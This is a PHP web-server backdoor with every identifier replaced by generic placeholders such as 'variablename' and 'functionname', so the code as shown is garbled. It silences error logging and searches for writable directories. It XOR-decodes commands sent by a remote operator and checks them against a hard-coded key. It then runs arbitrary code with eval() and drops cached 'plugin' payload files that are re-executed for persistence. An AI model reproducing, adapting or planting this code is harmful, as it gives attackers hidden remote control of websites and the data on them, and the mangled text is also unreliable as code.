<?php
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);
if (!defined("PHP_EOL")) {
    define("PHP_EOL", "\n");
}
if (!defined("DIRECTORY_SEPARATOR")) {
    define("DIRECTORY_SEPARATOR", "/");
}
if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18')) {
    define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);
    $variablename = NULL;
    $variablename = NULL;
    $variablename['cs_auth'] = '1e87ab0f-acf1-4257-91fd-327300af749e';
    global $variablename;
    function functionname()
    {
        return strtolower(preg_replace('/^(www|ftp)\\./i', '', @$variablename['HTTP_HOST']));
    }
    function functionname()
    {
        $variablename = array();
        $variablename = array();
        $variablename[] = functioncall();
        $variablename = $variablename['SCRIPT_FILENAME'];
        while (($variablename = strrpos($variablename, DIRECTORY_SEPARATOR)) !== FALSE) {
            $variablename = substr($variablename, 0, $variablename);
            if ($variablename == functioncall()) {
                break;
            }
            if (strlen($variablename)) {
                $variablename[] = $variablename;
            }
        }
        foreach ($variablename as $variablename) {
            if (!in_array($variablename, $variablename)) {
                $variablename = array_merge($variablename, functioncall($variablename));
            }
        }
        return functioncall(array_unique($variablename));
    }
    function functionname($argumentname)
    {
        $variablename = array();
        foreach ($variablename as $variablename) {
            if (@is_writable($variablename) && is_dir($variablename)) {
                $variablename[] = $variablename;
            }
        }
        return $variablename;
    }
    function functionname($argumentname, $argumentname = 10)
    {
        $variablename = array();
        if (!is_dir($variablename)) {
            return $variablename;
        }
        $variablename[] = $variablename;
        $variablename = 0;
        if ($variablename < 1) {
            return $variablename;
        }
        $variablename = strlen($variablename) == 1 ? $variablename : rtrim($variablename, '\\/');
        $variablename = @opendir($variablename);
        if ($variablename === FALSE) {
            return $variablename;
        }
        while (($variablename = readdir($variablename)) !== FALSE) {
            if ($variablename !== '.' and $variablename !== '..') {
                $variablename = "{$variablename}/{$variablename}";
                if (is_dir($variablename)) {
                    $variablename += 1;
                    $variablename[] = $variablename;
                    $variablename = array_merge($variablename, functioncall($variablename, $variablename / 10));
                }
            }
        }
        closedir($variablename);
        return $variablename;
    }
    function functionname()
    {
        $variablename = strrpos($variablename['SCRIPT_FILENAME'], $variablename['REQUEST_URI']);
        if ($variablename === FALSE) {
            return $variablename['DOCUMENT_ROOT'];
        } elseif ($variablename === 0) {
            return "/";
        } else {
            return substr($variablename['SCRIPT_FILENAME'], 0, $variablename);
        }
    }
    if (!function_exists('file_put_contents')) {
        function functionname($argumentname, $argumentname, $argumentname = False)
        {
            $variablename = $variablename == 8 ? 'a' : 'w';
            $variablename = @fopen($variablename, $variablename);
            if ($variablename === False) {
                return 0;
            } else {
                if (is_array($variablename)) {
                    $variablename = implode($variablename);
                }
                $variablename = fwrite($variablename, $variablename);
                fclose($variablename);
                return $variablename;
            }
        }
    }
    if (!function_exists('file_get_contents')) {
        function functionname($argumentname)
        {
            $variablename = fopen($variablename, "r");
            $variablename = fread($variablename, filesize($variablename));
            fclose($variablename);
            return $variablename;
        }
    }
    function functionname($argumentname, $argumentname)
    {
        $variablename = "";
        for ($variablename = 0; $variablename < strlen($variablename);) {
            for ($variablename = 0; $variablename < strlen($variablename) && $variablename < strlen($variablename); $variablename++, $variablename++) {
                $variablename .= chr(ord($variablename[$variablename]) ^ ord($variablename[$variablename]));
            }
        }
        return $variablename;
    }
    function functionname($argumentname, $argumentname)
    {
        global $variablename;
        return functioncall(functioncall($variablename, $variablename), $variablename);
    }
    function functionname($argumentname, $argumentname)
    {
        global $variablename;
        return functioncall(functioncall($variablename, $variablename), $variablename);
    }
    function functionname($argumentname)
    {
        $variablename = @file_get_contents($variablename);
        return $variablename;
    }
    function functionname($argumentname, $argumentname)
    {
        @file_put_contents($variablename, $variablename);
    }
    function functionname($argumentname, $argumentname)
    {
        @file_put_contents($variablename, $variablename, 8);
    }
    function functionname($argumentname, $argumentname)
    {
        return strlen($variablename) - strlen($variablename);
    }
    function functionname($argumentname = NULL)
    {
        $variablename = dirname(__FILE__);
        $variablename = array("options", "views", "pages", "sessions", "stats", "users", "articles", "dump", "headers", "libs");
        $variablename = $variablename . "/" . $variablename[strlen(functioncall()) % count($variablename)];
        if (file_exists($variablename)) {
            return $variablename;
        }
        if (mkdir($variablename)) {
            return $variablename;
        }
        return "";
    }
    function functionname($argumentname, $argumentname)
    {
        $variablename = base64_decode($variablename);
        $variablename = functioncall() . "/";
        $variablename = $variablename . substr(md5("cache"), 0, 5) . "_" . md5($variablename . functioncall());
        functioncall($variablename, functioncall($variablename, functioncall()));
    }
    function functionname($argumentname)
    {
        $variablename = functioncall() . "/";
        $variablename = $variablename . substr(md5("cache"), 0, 5) . "_" . md5($variablename . functioncall());
        if (file_exists($variablename)) {
            @unlink($variablename);
        }
    }
    function functionname($argumentname = NULL)
    {
        $variablename = functioncall();
        if (is_dir($variablename)) {
            if ($variablename == NULL) {
                // load all plugins
                foreach (scandir($variablename) as $variablename => $variablename) {
                    if (strpos($variablename, substr(md5("cache"), 0, 5)) !== False) {
                        @eval(functioncall(functioncall($variablename . "/" . $variablename), functioncall()));
                    }
                }
            } else {
                $variablename = $variablename . "/" . substr(md5("cache"), 0, 5) . "_" . md5($variablename . functioncall());
                if (file_exists($variablename)) {
                    @eval(functioncall(functioncall($variablename), functioncall()));
                }
            }
        }
    }
    function functionname()
    {
        if (strlen(functioncall()) != 0) {
            return True;
        } else {
            return False;
        }
    }
    foreach ($variablename as $variablename => $variablename) {
        $variablename = $variablename;
        $variablename = $variablename;
    }
    if (!$variablename) {
        foreach ($variablename as $variablename => $variablename) {
            $variablename = $variablename;
            $variablename = $variablename;
        }
    }
    $variablename = @unserialize(functioncall(base64_decode($variablename), $variablename));
    if (isset($variablename['ak']) && $variablename == $variablename['ak']) {
        if ($variablename['a'] == 'i') {
            $variablename = array('pv' => @phpversion(), 'sv' => '1.0-2', 'ak' => $variablename['ak']);
            echo @serialize($variablename);
            exit;
        } elseif ($variablename['a'] == 'e') {
            eval($variablename['d']);
        } elseif ($variablename['a'] == 'plugin') {
            if ($variablename['sa'] == 'add') {
                functioncall($variablename['p'], $variablename['d']);
            } elseif ($variablename['sa'] == 'rem') {
                functioncall($variablename['p']);
            }
        }
        echo $variablename['ak'];
        exit;
    }
    functioncall();
}
